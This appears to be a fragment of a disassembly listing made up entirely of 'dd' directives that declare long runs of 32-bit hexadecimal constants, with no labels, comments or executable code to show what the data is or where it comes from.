		dd 0F9EA9415h, 0F8E500DBh, 3756C658h, 0E700D1FAh, 73882F21h
		dd 19AF7Ch, 0D6A653E8h,	2734B825h, 0B4A58100h, 6196C202h
		dd 66F407E1h, 10AA4D80h, 4A9530E4h, 0E224BF07h,	34575D41h
		dd 9C2165F0h, 8FCF00FCh, 0A5130457h, 9200BCCEh,	0B54470D3h
		dd 5460D8Ah, 0D483E74Ah, 74E44181h, 0FC0888A4h,	23017269h
		dd 0A7AB8230h, 2BE18175h, 8EA68340h, 736007A4h,	71A3699Ah
		dd 70A876B5h, 7A72F7E4h, 380C2918h, 88D47C29h, 0B0889E73h
		dd 0D2A289FCh, 22CD0822h, 0D4229C65h, 7E0C22F6h, 0BF402424h
		dd 56416616h, 4F2A1400h, 5C0E325Bh, 8C21DABh, 0F4D2C060h
		dd 0C88EDF10h, 816D9700h, 88937177h, 0DA7776h, 0D265235Dh
		dd 64AF29B4h, 39306700h, 11E9A6E4h, 3775C09h, 0C107451Eh
		dd 2771C184h, 2BC8C88Ch, 0E5D79F00h, 6149FB14h,	0AC2C0060h
		dd 7C7780B9h, 79E4C2CFh, 8EC5F600h, 0B766B248h,	49D300DFh
		dd 460B5150h, 1E00BDB5h, 571BB6D6h, 781970EBh, 0AC2B0052h
		dd 3749ED42h, 4000024Dh, 41B2D89Ah, 0B175B3h, 0E8EEE464h
		dd 0FE5E492Eh, 7E07A1FAh
		dd 18BBB704h, 93ECAEC0h, 13103FAh, 6D8949Eh, 8C163E8h
		dd 86B4F703h, 0F0B51D66h, 0D02E4Ch, 109B16ABh, 0BAB7E914h
		dd 636ED405h, 0F8073CA2h, 460F123h, 0C9E4CA4h, 0E46206DFh
		dd 25004AE8h, 9212C29h,	727D14h, 6BD434FEh, 56D6A164h
		dd 4E58827Ah, 564CE1h, 24577F8Ah, 153A9Fh, 994541A7h, 0EA06C3E4h
		dd 0A2003D7Eh, 0C608D92Ah, 9D3E6517h, 0BC22FB40h, 0D637A400h
		dd 705BE507h, 0D3E428A9h, 3D360094h, 0AFFF3174h, 0A3B04C99h
		dd 0EF00587Bh, 0FD2AD287h, 0B1E31Dh, 0DF8D5E4Dh, 848FA503h
		dd 3C968E1Ch, 7502BC80h, 737E9Dh, 19EAE1FCh, 92209763h
		dd 8CCE7A03h, 0E0284C96h, 799C26E8h, 63C001BBh,	0A967B9EBh
		dd 0E3E6CC6Bh, 61C1D100h, 1603141Eh, 5ACC0095h,	85398A70h
		dd 0F10778C5h, 33B2F5AFh, 0DFB16E00h, 0BF220E11h, 578005C0h
		dd 805C7F9Ch, 425D4800h, 30214A0Dh, 0FD8107D6h,	0E31F22F9h
		dd 0D0002BF5h, 5952BCB2h, 438DB6h, 0FF10C097h, 83B22DAh
		dd 0FA011200h, 508B0203h, 0E5B4002Dh, 64987DA0h, 1E4896F6h
		dd 38D60070h, 6055F168h, 0FA540746h, 0B3840CB6h, 0E8906BABh
		dd 0A502C01Ah, 45EED504h, 7B604060h, 0ADFD0094h, 0E6F33C24h
		dd 0FA28B4CCh, 0D10088CBh, 0FB6AE8DCh, 40883Ah,	0A63EAF4Fh
		dd 2A2FF6B2h, 2C005078h, 0B771C42h, 4338CAh, 0A18F5213h
		dd 291A4058h, 0A6F89A03h, 0E03BF63Dh, 9AF820Dh,	1559F456h
		dd 0C2050C00h, 1F004A30h, 8E7193CAh, 45467Ch, 270B83FDh
		dd 0E6EAF3ACh, 0DAF88600h, 4FA7FCF6h, 0B5F20042h, 7C4ECC02h
		dd 0EB0087EEh, 9D3A50FFh, 0B6AEE1h, 2DEA65DFh, 7BB25B9h
		dd 0D81E2200h, 40A744ECh, 5FE31D04h, 0A862404Fh, 5A88D10Eh
		dd 0F80FC900h, 0FCBCE416h, 0E9610057h, 20FBF621h, 0E1CC766h
		dd 2C8355FEh, 0A06DD163h, 0E4E23953h, 4D9D0017h, 6C8B8D5Dh
		dd 0D18BF50h, 0A9F08958h, 0EE71F2h, 134F770h, 5756B9DDh
		dd 0EAC0B302h, 409BFF3Ah, 31BD8Bh, 5B9254D6h, 4923EE81h
		dd 9E78400h, 798F8557h,	677947h, 7FD20B3Ah, 7174AEBh, 1C540C3Fh
		dd 0B5CF4C02h, 8355E1EDh, 9BDC15C9h, 0F7470EE4h, 403DCA16h
		dd 0CF566E0Dh, 0B118DBFBh, 0CB446DCDh, 446F008Fh, 85290FD8h
		dd 0E4015ECAh, 0E09CCD1Bh, 0D8209906h, 49240094h, 0A2FB7D12h
		dd 614CF0F3h, 9EA50043h, 2495AACAh, 0ABA3001Ch,	0B25F12EAh
		dd 0E90FF1A2h, 0FDDE0DBh, 0C0F0C04Bh, 48B8559h,	4466D7C3h
		dd 35E0C76Eh, 0ECBD81BCh, 5C28207Ah, 0F107A6E4h, 0B3058F4h
		dd 0D3F6B7B0h, 0F77D00ADh, 0D04AFBBDh, 0E5160A3Ah, 37009A97h
		dd 8C2CABB3h, 80D30023h, 2A8A0906h, 3D009392h, 131E7750h
		dd 0EA24B0B7h, 88B500D2h, 576A3A8Bh, 0E3EA3D1Bh, 0B606A700h
		dd 1AE2209Ah, 0AF8D00EDh, 58DA5ABCh, 0B801B509h, 7F290D5Eh
		dd 0EF7DD6h, 4F07C2D8h,	287AC185h, 91836F00h, 0F94AE434h
		dd 0D132002Dh, 7201419Bh, 0B8C0A138h, 0E816CC87h, 0BDD0C0C0h
		dd 0BEA5BCB5h, 6A222100h, 53A326B7h, 1D8701DCh,	7B43345Ch
		dd 0E53AC418h, 0D8C17600h, 5447F5C6h, 7C71EEh, 9F697432h
		dd 7557605Dh, 0C704D8E4h, 0B04B3480h, 0B2A0F8C7h, 5EE9C1h
		dd 9EE2F51h, 0AD526BB4h, 2D255C07h, 5706E39h, 1F956858h
		dd 807A317Bh, 0E461C2B9h, 0C7008B0Ah, 514B2DA9h, 1E7655h
		dd 0FBBFE542h, 8D7DC2DCh, 0D4ACF100h, 0DE03E77Fh, 3B2D000Dh
		dd 35FBD774h, 0FD00FF51h, 0DF835E10h, 0CD85A6h,	0C3C83853h
		dd 616F5290h, 0EB037E00h, 5AC1F72Ch, 0A9280060h, 0AF8369EAh
		dd 3D00A40Bh, 0C0B03909h, 0AE7907h, 241A2A2Eh, 126B7E8Ah
		dd 350525F6h, 6E539F15h, 0FA7270C0h, 11C30069h,	0C4EB6D68h
		dd 60F7B216h, 6B0EBF95h, 67FAB75Ch, 0AE808A0Bh,	2BB7588h
		dd 0CACC6499h, 4C446D9Bh, 210B917Dh, 1C256Fh, 3CA54A94h
		dd 8DA04A2h, 0C1E072FCh, 0E8EFB596h, 36074518h,	54CAF450h
		dd 0AB524801h, 7682FC30h, 1F3F077h, 2F8BC747h, 0EC7BA568h
		dd 29009CC4h, 86CA45ACh, 302D08Ch, 8B2CF88Dh, 0E2B0B9B7h
		dd 6E05EC46h, 0CBFB6DAEh, 88FFB883h, 0BA19C727h, 0C17700E8h
		dd 0CF5EF394h, 0B1022DF5h, 89033533h, 0A94240CBh, 4BB51C51h
		dd 5D14C01Ah, 0D4A428C2h, 0C40FFA73h, 0C0C6B165h, 0F616E55Ch
		dd 3BFED0h, 70805F5Eh, 45B9D5ABh, 0B5906100h, 4059DEBAh
		dd 2C3000FAh, 4BEC2D49h, 0F9073AD8h, 0BCA2F021h, 0F637170h
		dd 3F38BACFh, 84D4ED98h, 0FE54076Bh, 8CACD522h,	0AE00EBA8h
		dd 58C39889h, 3BF235Bh,	32729DE0h, 0F4804AC9h, 5009A52Dh
		dd 80AC845Dh, 603E3849h, 0AAE43C68h, 91D51800h,	2F78E9B6h
		dd 0AB99BD1Bh, 8D67D078h, 0D960036h, 0AE32AFDEh, 3F757043h
		dd 38F50800h, 4E689E45h, 58095CB5h, 535F50h, 421FD97Bh
		dd 0AB2BCC88h, 6AB75800h, 0FB19B464h, 72EA056Ch, 54B3DFh
		dd 49B59EE8h, 340038E0h, 8D351F11h, 65D73B59h, 2357F020h
		dd 0EEC856FCh, 0A816702Bh, 0C005C9E1h, 0FC204A19h, 0AA320C7h
		dd 2A59AF21h, 0BB3508F0h, 2D001D90h, 0EB477396h, 6713EE16h
		dd 0B40071B7h, 0C8FB76F2h, 6FFD000Ah, 0CE46A908h, 4B0061CCh
		dd 0E2A636Ah, 924DD77h,	3C2738C6h, 0B4DC2A81h, 69870FFh
		dd 0CDEB300h, 0EC0E6E04h, 57B06Bh, 0E81E0D19h, 0E1CA642Dh
		dd 0C7D88154h, 318BE20Fh, 7FC2409Bh, 0C7F86878h, 687113B0h
		dd 5405803Ah, 0AF3C11F3h, 424700A8h, 6B9FDBB1h,	0EC00D50Ch
		dd 66A3211Ch, 5C678D10h, 300092DFh, 0CD46F7E0h,	616498Eh
		dd 0E401F85Ch, 22DBF315h, 3361FE0h, 3D68164Eh, 0F6C873AAh
		dd 0E10033C0h, 0E35E5318h, 44A89E4h, 0BE1E0A38h, 0A4808062h
		dd 0EA00526Dh, 0FBC166DCh, 0C753EBh, 6F29978Ah,	0ABA6E5BEh
		dd 0BFB9B400h, 2A516DE7h, 0DD54002Fh, 0EE779859h, 0BB003FC5h
		dd 0DBD7AFA2h, 7845AA4h, 1893B535h, 70BF9773h, 10090780h
		dd 1FF72700h, 6FFBA97Ah, 2683006Bh, 886A2ACh, 790FB88Fh
		dd 62D4962Fh, 5C425B05h, 82E30765h, 661A9036h, 0D0005A8Fh
		dd 0EE0B1C3Eh, 7F113A0h, 9B6C702Eh, 0D03C140Dh,	2CE4A5C0h
		dd 0A4334E00h, 25DBDCCCh, 0E3D43BBDh, 0A1807B00h, 0B86CE6E5h
		dd 9CDDFD00h, 0BF686F7Fh, 9B5F011Dh, 0E183318Ah, 0F696D087h
		dd 0BAD1FD00h, 7EB7E992h, 7C5598D9h, 0EC031FD7h, 395CC11Dh
		dd 40FCBA73h, 0F92E21A4h, 0A2BEDB00h, 83E86D01h, 9FF00049h
		dd 0CB999AC1h, 4C000C12h, 51CC600Eh, 0F1C532h, 0D3F39C64h
		dd 0CE2CF29Ah, 7D5E1503h, 6F93D6h, 2BBCEE58h, 77E5F7ADh
		dd 0B800F074h, 0CC053E99h, 0F108195h, 0EA8ABCF8h, 0E3769622h
		dd 0FB1ED9F0h, 0B5405A09h, 84909CA1h, 59EE070Dh, 601A7282h
		dd 8D7EF2D8h, 7C5A91A0h, 9EBA0813h, 0C2E2BC00h,	9645C56Eh
		dd 0FE842884h, 7F7150h,	335D0D52h, 914E3873h, 3C842960h
		dd 0F83A40h, 89063E7Dh,	9B17FF4Ch, 7A727E0Fh, 809DE037h
		dd 9AEC24BEh, 9E6B2C80h, 626F4018h, 8CE4D7AEh, 7AFB6C16h
		dd 0D40B7D00h, 98AC2708h, 29F900C0h, 3174B61Ah,	0B2076C22h
		dd 4E778EC4h, 0DE72E6A0h, 75F0004Bh, 0BEAFD9E4h, 1E078A23h
		dd 0AB8D15B7h, 0BCA49720h, 0FD2D09E9h, 448037F8h, 93F66972h
		dd 0D2010EE6h, 0E0160CA5h, 6F30D6ADh, 0D0F4EEh,	0D4C965BFh
		dd 0B6B3EF1Fh, 0BCA04B26h, 0E6800Bh, 0D22A2FC4h, 36402F0h
		dd 0F83EDCA7h, 0A9BA8860h, 757D003h, 0D8FFBEEDh, 4A130E3Ch
		dd 653C331Ah, 0CFC18095h, 0C09C6908h, 0DD1711E0h, 0C4C22C5Bh
		dd 0B7038460h, 86D3C052h, 0F100BA21h, 0C0CFCEFAh, 7A06D796h
		dd 0D5AD0FA5h, 6BA0D3CAh, 315768EAh, 0FCE59900h, 0B8DFD215h
		dd 0D554000Ah, 894C07F8h, 0FB007DAAh, 839D59E1h, 3CF640A3h
		dd 9482FC92h, 0B572F426h, 2F009078h, 0BD01FE53h, 0F2A97A3h
		dd 47A1B617h, 80C67C85h, 70D3EFAh, 0D8095D02h, 40209B16h
		dd 2EBB8F16h, 1C47E8ABh, 0D56E80DEh, 4096D362h,	0A76B2B1Dh
		dd 106480B9h, 0FB9335EEh, 84C91FA0h, 8BDE49EAh,	0A8C71807h
		dd 92D80460h, 0EB8500D5h, 0FBDB4291h, 47018F6Dh, 7F772F9Ch
		dd 1120984Fh, 7234008Ch, 0D3489D20h, 5900ECF6h,	87C6D832h
		dd 5104Ah, 0BCE3FF75h, 3B157D9Eh, 2DFCE200h, 1326E3Fh
		dd 2AC507DAh, 90871AA9h, 17040E02h, 50B20D3Ch, 6092FFB0h
		dd 0E91AD701h, 8188F594h, 90B29CDCh, 8260093h, 9138D201h
		dd 9D002472h, 57B7BCAEh, 2CF18B80h, 801079D3h, 2A9B6A62h
		dd 1200D8C1h, 0A106E681h, 31F702h, 260E3BEEh, 9A9E2CE9h
		dd 7A3E6C00h, 14DD68E5h, 667C003Ch, 0FE97A8DCh,	3D00F82Ah
		dd 0A3B36090h, 15AE436h, 55EFE6D5h, 0F87E4C62h,	1102FBC4h
		dd 0ADCD9FA6h, 146864FCh, 0E7AE01FFh, 0ED726F07h, 996A507Ah
		dd 8E58F879h, 0CB6013Ch, 0CDA2E80Bh, 27B4682h, 88E08926h
		dd 600057E9h, 0C0BB1E64h, 0FD3D6EAh, 92FC23EDh,	2213A900h
		dd 76074B30h, 0AB311DF0h, 6B91405Fh, 95FDECh, 2156FFB9h
		dd 0D7BCE22Dh, 1F0006F4h, 80A86663h, 0D6CC75h, 0D87472A0h
		dd 9DA317DFh, 0F7C99100h, 961AE706h, 0B0860010h, 11986133h
		dd 99006DC7h, 832EA65Eh, 0F54189h, 1F846C15h, 7D6FCD5Fh
		dd 0E000D0E4h, 0B74BC6A3h, 487B3B02h, 8101A942h, 6B96021h
		dd 649470A4h, 0B7141B09h, 0D80C00BAh, 74AC6ACBh, 5FF4004Fh
		dd 661F26E4h, 0AB007FF5h, 0B0808EA4h, 90634990h, 0C5D8E514h
		dd 4C010141h, 481B4E32h, 28307020h, 5566A600h, 549A9B1Ah
		dd 0AE2A01D3h, 0FA938BF9h, 46188E37h, 0DB9047E6h, 60868702h
		dd 133B51Ah, 0BB9AFF49h, 30940ED7h, 0B100538Bh,	800A6474h
		dd 783CCA3Fh, 77009669h, 6736A288h, 965B4023h, 41F8F526h
		dd 924B3E00h, 0AAE721B4h, 0C5C03A2Eh, 77317F07h, 8FE170DEh
		dd 990082FCh, 106877Bh,	0F19C6Fh, 4615A770h, 0C7B2BD67h
		dd 0AF90C200h, 7775DBA1h, 235C00E2h, 0BDF58C69h, 0EA98E425h
		dd 9F04A000h, 0C0ED99BEh, 0C242F2Bh, 9500157Eh,	5A3B9033h
		dd 3AC600F6h, 69B22284h, 0A7004F34h, 712BA577h,	90C18Eh
		dd 8EC9B26h, 15BFB0Eh, 2AC49700h, 0C6293B5Fh, 0E066074Dh
		dd 0A0DEFE5Eh, 8DB80A2Ch, 0ECA4F101h, 35FA51BEh, 13F4DD8h
		dd 0D301869Fh, 0C85D5E48h, 0B039B1Bh, 8397CC03h, 0BDB3F84Ah
		dd 4D924C2Eh, 0A80A5C00h, 0F39ADC31h, 6E6A3Dh, 0D48A6CAh
		dd 7468632Fh, 95DB004Eh, 821CFDB7h, 100108Bh, 4F35F8AFh
		dd 0D732A3h, 0BB7A5821h, 0A74271BAh, 4C00DA7Dh,	1F7BACE2h
		dd 8DC12Eh, 283949C5h, 0BE8CC223h, 0E79F1A00h, 784FB169h
		dd 3086EA2Fh, 4139F3D6h, 23013ABBh, 2D7A42F4h, 60BB7404h
		dd 0A861FD80h, 15B9ABDFh, 0CFD65B00h, 96F9C583h, 0BB2EC0AFh
		dd 0B8741D2Dh, 8EBE980Ch, 3162086Bh, 6A20EC4Eh,	0D03CF090h
		dd 0D3714A7Ch, 58056800h, 0D45DA4A5h, 0FBDE00D2h, 3B2DBF64h
		dd 0B3E6CD75h, 0EE0AD600h, 0EC02A477h, 0C3F93A7Ah, 823A6F86h
		dd 0EB0131BEh, 6C0419FDh, 0B08078D0h, 5137B8C3h, 0D106D4D3h
		dd 77D660A9h, 4B4A0059h, 0F271FCF1h, 822E8C6Ah,	5026A152h
		dd 74B74300h, 610A14h, 49719AA5h, 7363A375h, 0E5003B98h
		dd 0E68A7E24h, 9439079h, 13C39334h, 0F0463B07h,	0E71B3B4Fh
		dd 40FDF7Fh, 60E9279Eh,	82CA3EB5h, 8DE69Fh, 0D014D52Eh
		dd 4DC1DCF9h, 0DB00FE76h, 179A8A7Ah, 40AD25h, 0BE958DCBh
		dd 0E0CD7BBAh, 1C64B33Bh, 7700F1D4h, 0F9DDEEBFh, 20513AD5h
		dd 9B85ABB8h, 800FD707h, 0BE1D4FCDh, 75DCD850h,	0B6FE1C0Ah
		dd 180E479h, 0E5608FCEh, 411B172Ch, 0B8D10013h,	994D9E02h
		dd 0BBA1F70Bh, 310FACh,	0B5661E61h, 0F8780015h,	354AAB7Eh
		dd 0BE34AD9Ah, 0FC105083h, 0FE63E004h, 1FD57CC2h, 8074BD9Ah
		dd 27EAE341h, 0CC00FF20h, 19E1447Dh, 36DA863h, 379CAB95h
		dd 28217984h, 588C08D6h, 226C22BBh, 6222D6A0h, 5E102220h
		dd 0ED11F042h, 28AE2838h, 74897378h, 1A442B08h,	282640DAh
		dd 90CEF30Ah, 4D039070h, 0A8999AA4h, 7A8CE6C7h,	5E8426B6h
		dd 0C0A203F6h, 0F6A0F830h, 0C800EA45h, 5C36CEB5h, 7EAC0CE1h
		dd 2BB80096h, 8C9D1F43h, 0F77E9256h, 7FC24Ch, 7F05912Ah
		dd 76AA75C5h, 685C00BFh, 0C294658h, 4A02CFB7h, 37B1BC74h
		dd 6868055h, 2B707Dh, 0C4B6105Ch, 2C1B65D2h, 0BA036974h
		dd 225AF7DAh, 1EDB9Ch, 36BD8670h, 750E1DD2h, 0A06E540Eh
		dd 0DD7C018h, 43CE25h, 0DFBAA5C5h, 0C0796C6Ah, 46369F24h
		dd 57B15F00h, 0F532D9h,	267D13A6h, 1D129ADFh, 8A480F00h
		dd 63D96449h, 0C0A13E81h, 92031900h, 6FD36193h,	76C4F00h
		dd 464B2CDEh, 1EC00B3h,	287AEEB0h, 0F30072AAh, 0D34DFA41h
		dd 0AF646Ah, 0D545B525h, 8684E020h, 3E0023E4h, 5ED6A40Ch
		dd 48229E27h, 0F90030E9h, 0F9DAEE8h, 6630E4A3h,	59B2B868h
		dd 847700E2h, 0E0E5C404h, 1F0038D9h, 91BE3DFh, 7218601h
		dd 0B54AF094h, 0C511003Dh, 0B2002FBDh, 0A09B90FAh, 5894B7h
		dd 79C1248Ch, 0A35A093Ah, 3B62441Ch, 94B48D40h,	37EF783h
		dd 7274DB21h, 0F8D8551Bh, 0FB001286h, 62631DA4h, 0DBF38Fh
		dd 0FEE98A24h, 0B0594C58h, 3AA36A03h, 0F8A0F0F7h, 9104F9h
		dd 0FF451186h, 99A6D18h, 694DED00h, 90A1A0D5h, 0CEDD0082h
		dd 6162B756h, 0B00F02D0h, 246BBA6Ch, 1AE81B3h, 5364906Bh
		dd 0F668E0A3h, 3F0004FCh, 85AD313Ah, 4EF555h, 1D8D8A91h
		dd 932B6E58h, 47882500h, 7CCDB02h, 1AEE30E2h, 0A5629568h
		dd 0F7C490Eh, 0E4D3E020h, 0EA21E9h, 0E30323BCh,	1C6DCF74h
		dd 809F0600h, 19A1E454h, 902FF6C4h, 0E211006Eh,	987D6B2Bh
		dd 0E8006990h, 2D519F71h, 578246Eh, 15200ED4h, 0CCC0C0C7h
		dd 6F0A4EB8h, 0C583A155h, 0E074330Fh, 5EDE9B53h, 23560620h
		dd 0C086E1A9h, 5C322200h, 0BF2C55FDh, 0E47DFC6Ch, 6B710005h
		dd 96E260AAh, 0FA0E3235h, 60206782h, 0C1EEA924h, 51D73A6Ah
		dd 0E0575B81h, 406393F6h, 0B3F4EFA8h, 0D5A72D1Dh, 7D094AC0h
		dd 3983D6h, 0A473A6DCh,	2C58638Fh, 852B7A00h, 6B41D7E1h
		dd 8CF400FBh, 0C9205FEDh, 280A9E88h, 8F620639h,	0A51E2900h
		dd 6AC357h, 1A40AF5Eh, 1F137B05h, 0FB262000h, 70EFA5CAh
		dd 561E0091h, 0AD8BACDh, 5E3F817Ch, 0E9A700D3h,	64778FC5h
		dd 13ACE21Fh, 14F9EDEh,	0CE31E67Ah, 0D5D1FC1Ch,	137A3A00h
		dd 0EAC16F6Bh, 24960002h, 78CA5666h, 1628A248h,	0E00D86Ah
		dd 9E5DA5DBh, 867C92h, 34BA7098h, 0A0366875h, 0BD4E2E1Ch
		dd 9DD96245h, 174C3CC0h, 0DCE000F6h, 5555E7Ch, 2A00B608h
		dd 4B239F3Eh, 3830E29h,	3A24633h, 7DF04C64h, 3B00118Ch
		dd 7A47782Dh, 0FBABCEh,	96E463E2h, 0B8188D0h, 94055BE8h
		dd 7DC62FB4h, 51BC400h,	0CDB165h, 4693CFD1h, 7CF99D59h
		dd 126CFD16h, 6895EF00h, 5136FFh, 0F1E2429h, 0D9905098h
		dd 9973F600h, 0A1C24785h
		dd 174B0A67h, 2C41151h,	68CF2BE1h, 0F7706719h, 0C3A70269h
		dd 5FCCE547h, 0F2D0A40h, 90542C00h, 8901E2C7h, 82DC14AFh
		dd 7F8451h, 1F4AE342h, 9231D804h, 0A2E68E70h, 25D30201h
		dd 939CB648h, 0F7281080h, 0AE40CCCDh, 0B008B200h, 1F074D6Eh
		dd 1BD60055h, 3F77A3C8h, 752C2E7Ah, 6500C54Eh, 0C4F70B0h
		dd 1E270093h, 2FA34AAAh, 0D3003528h, 32F46F0Fh,	942D5h
		dd 71F5A85Bh, 74E0068Ah, 0F22E5600h, 1D15FB18h,	6CCD26C3h
		dd 12EA0018h, 0DA1B7E14h, 0FF1CA800h, 0F33E9C43h, 0B60C01CFh
		dd 0D75EE263h, 7FCB3057h, 1EEA2B01h, 53110D03h,	5FFDB8C5h
		dd 850AE0h, 8D9CA620h, 6D33784h, 2A26C87Ah, 0CC003F66h
		dd 6C0EA0E2h, 70C40088h, 14B5FFBCh, 9900ABB4h, 9A06F3D9h
		dd 5F465C3h, 0D05BC694h, 8780ABB2h, 1D7BD70h, 9A0ADC16h
		dd 0DC1E9E68h, 0C17631F6h, 0B1F70800h, 0B063C60Bh, 689300F8h
		dd 610602D4h, 8500DF30h, 3484A37Bh, 6353235Eh, 0B0B9F811h
		dd 0A7FB14E8h, 9E918A3Eh, 2249DB89h, 0A43C80D3h, 4C37C236h
		dd 0F400943Eh, 0A9035B91h, 937EE815h, 290165F8h, 8346E086h
		dd 79F8052Eh, 8B393DD7h, 0F8A52781h, 200D9504h,	0B000BC74h
		dd 0A1A8CC90h, 551609h,	13256F39h, 0DCD64ECBh, 0AB17B0C0h
		dd 2CF6D6Eh, 8699AF5Fh,	9880A01Bh, 0B2F56C60h, 0FF9EF400h
		dd 0BB3B328Ch, 9BE3F74Bh, 0AF90D83Ch, 0D49B0030h, 47431715h
		dd 75174621h, 5D004C86h, 0B7668D94h, 0CFF0A9h, 3F1EAFB1h
		dd 9751F4B4h, 5C00BC71h, 47A77641h, 0FE1DD6AEh,	0EAA138D4h
		dd 4C7FF4h, 2BF2A538h, 0EFADB7EBh, 9B506000h, 1F8E533Bh
		dd 36900A8Fh, 98178Ah, 9415C3CBh, 0AD05293Dh, 0F6B35FD4h
		dd 6EB85090h, 0BDACFAA7h, 0C02620F8h, 0F20078AFh, 1E424144h
		dd 0E1F5AB9h, 88425BF2h, 9080D358h, 22688724h, 3B69401Eh
		dd 441E112h, 0FBB56C51h, 1CC49C34h, 0C19B7AF8h,	6E0B1F0Fh
		dd 7D80F0C3h, 0D58FA300h, 21E02E88h, 5079004Bh,	0C056A93Dh
		dd 0A800F095h, 0D15A593Bh, 0FE46E82Eh, 68D30034h, 0A4EAE663h
		dd 0EE130AB8h, 5A009C8Fh, 8884F9Ah, 1B92009Bh, 0C7898EF8h
		dd 50E68E3h, 601EA42Ah,	5A863AF4h, 182E0003h, 0B409D23Bh
		dd 0FB7A3352h, 840028ECh, 0BB9BC9Ah, 0DF7393h, 9478EA2Ah
		dd 0FC0755B8h, 9775ED00h, 0E7CF9AD4h, 0DE410EA3h, 82007379h
		dd 13FB6CA6h, 0C5CEACA0h, 6DCA1A00h, 0E2398C68h, 0E8C000FFh
		dd 554DC3E4h, 423AEE16h, 27968003h, 2FB6365Bh, 0CD891494h
		dd 7900F61Ch, 0E1266428h, 4A245DFCh, 2280E410h,	0C460E9ECh
		dd 1C7E5D54h, 8BE16401h, 20CB91CAh, 0C12E2B4h, 5EB3367h
		dd 1DD0F2h, 4FEEBCCh, 1C152138h, 58D05915h, 1E3D0018h
		dd 0B70FAFCFh, 0AA63002Ch, 0FAEF6E0Eh, 8D07ACCEh, 1740EAA8h
		dd 0E8AF87D0h, 449903C8h, 0FD1BFB82h, 41270F8h,	8DA03E60h
		dd 4CC642h, 0FB322381h,	0E48AB727h, 0B8B52500h,	539DC25Dh
		dd 482F004Eh, 0D6B00921h, 133E9A75h, 0DCAE1ED1h, 0CFC338C0h
		dd 0F4068FF1h, 0B80F07CEh, 70B319F6h, 737CDE4Ah, 0D821C318h
		dd 9C83F1h, 145209E4h, 338A15E7h, 28034A00h, 45892156h
		dd 86E0194h, 0E996863h,	2FEBD405h, 9AF77603h, 0B32A32F8h
		dd 0D0D9B335h, 3AA33B19h, 2880150Ch, 0E53A93BDh, 0CCF8A126h
		dd 21101801h, 5F99FE23h, 8E7FC8h, 0E94AC0B1h, 0B2F77B0Dh
		dd 986239h, 8DF2C44Dh, 0B5ED10h, 76BC4ABEh, 0FFAE645Eh
		dd 34D62600h, 443927DCh, 61BF2C1Fh, 7080016h, 82875E21h
		dd 2F2BD14Ch, 0E1F46Eh,	3F47B3Fh, 55003C9Fh, 0D393C85Ah
		dd 3CFD212h, 0F35D63D1h, 46E8E08Eh, 560786DDh, 35FD8F4Eh
		dd 2F1F2DF0h, 0EDBD00ACh, 0A93332E5h, 0D00F448h, 394EAA0Bh
		dd 3BD2377Eh, 0F1038527h, 204DF3DFh, 5FA043D8h,	0ACB83A05h
		dd 2D819049h, 2180FE65h, 0D7C22E6h, 44E030D9h, 0C3BB910Eh
		dd 0BF316ED0h, 0B17032C0h, 1372AEEh, 2D9325CCh,	606B3477h
		dd 0A28A32Ch, 7100A819h, 8B65C833h, 3CA54CEBh, 0DB502DE1h
		dd 8E070019h, 70F69104h, 2B000206h, 0D1638A9Bh,	9FE33F2h
		dd 0EFBC54FCh, 4B858A80h, 0CA3AED5Eh, 7C038ACh,	8150ADE3h
		dd 693688D0h, 1EF50360h, 58CE5E2h, 0BD66B3C8h, 0E1F29901h
		dd 7EDF80A5h, 4A5A6180h, 4B19CBB4h, 88AE2780h, 9F000972h
		dd 8E523ED9h, 513310h, 1731F823h, 543B92A5h, 6BEF1100h
		dd 0D83EAFEDh, 0C84600D6h, 4B501244h, 0D212957Bh, 204059DBh
		dd 7DBB921Bh, 7DD07628h, 0BC45007Ch, 8B36DD3h, 0B51FD74Bh
		dd 0CD969EF0h, 90778706h, 0CFA50038h, 811F7B37h, 75002D86h
		dd 0E1DCB1B3h, 743BB7h,	0AC56367Ch, 481F2E53h, 64E84307h
		dd 5EB04EF5h, 0BE8B88h,	0D828EF8Eh, 0B45B650Dh,	0BB367200h
		dd 3C568775h, 7F380AB1h, 0B88B82h, 0EBEEFE54h, 7200B81Bh
		dd 0EABCF557h, 0A8229Ch, 97FD58CEh, 0C9FEBA59h,	2E376B3Fh
		dd 6400910Ch, 1EA5EBB5h, 2834E896h, 0BA484EFh, 4D73DDFDh
		dd 0D699B401h, 0C2FB60D3h, 0ECDAA309h, 0DCAC238Dh, 4DAD8875h
		dd 0E180060h, 3EF20A26h, 0AAECF7CCh, 640CD100h,	0AC6E7D9Bh
		dd 1912001Ah, 3B8FE8E4h, 8101C23Eh, 0A7E1680Fh,	40EAB007h
		dd 0BBCFFD4h, 1D14BE78h, 94E18E60h, 0C77A3707h,	11210739h
		dd 98439A95h, 0E661C081h, 0FC6B02A1h, 0D57C2A70h, 3F5E9080h
		dd 1503065Dh, 0C39481ACh, 0F71800D6h, 0EE540905h, 521C21A9h
		dd 55810CEDh, 0CD81A7AEh, 489A40D0h, 9021541h, 0EB114CC9h
		dd 71BFC077h, 4FF100B6h, 40A0106Ah, 9002E7Dh, 228E8044h
		dd 319493h, 39F9616h, 3728553Dh, 9AF6330Fh, 0E0040FC1h
		dd 90B988BEh, 0C0F16084h, 0CF41854h, 812FC33Ah,	22CBCAE7h
		dd 23CCBC80h, 0DE570074h, 6631E865h, 4E00F9CFh,	2069F0AFh
		dd 6A068F5h, 18500230h,	7400A05Ch, 36EB736Eh, 98DFF7h
		dd 528A9A8Dh, 87B76D5h,	342B48h, 0FF95B131h, 17D6703h
		dd 93815A21h, 0DBE53557h, 622404E8h, 7016939h, 63A09D2Ah
		dd 0ADBD8E80h, 0FDB50039h, 0F57D825Fh, 0E70FBB02h, 0A0D63E4Fh
		dd 92F7C2E5h, 0BC2B03EDh, 0FAA326CEh, 0B7734BB8h, 0F6FF0900h
		dd 0E7B65D87h, 7DDE002Eh, 0D85A83A0h, 7C011CBAh, 0A2C78425h
		dd 0E9ECFB3Dh, 0C00400CEh, 0C17A16DCh, 760003B7h, 2BC2B9A9h
		dd 18DDF6Bh, 0BBDBFB5Fh, 0EC56F988h, 4300EB50h,	0A51134B8h
		dd 0F5922E8h, 0D3C32BDh, 27A82440h, 0A3095E08h,	80E30A5Ah
		dd 0A2BFB05Dh, 59FD1D4Ah, 7518414Dh, 0F0E4E514h, 160099F9h
		dd 3C5415DFh, 6142CEh, 881E32C3h, 4E17D35h, 8AC5FD0Ah
		dd 4B0FC05Dh, 0AF2F8009h, 1D86A723h, 0C0BEDB96h, 0DC050A7Eh
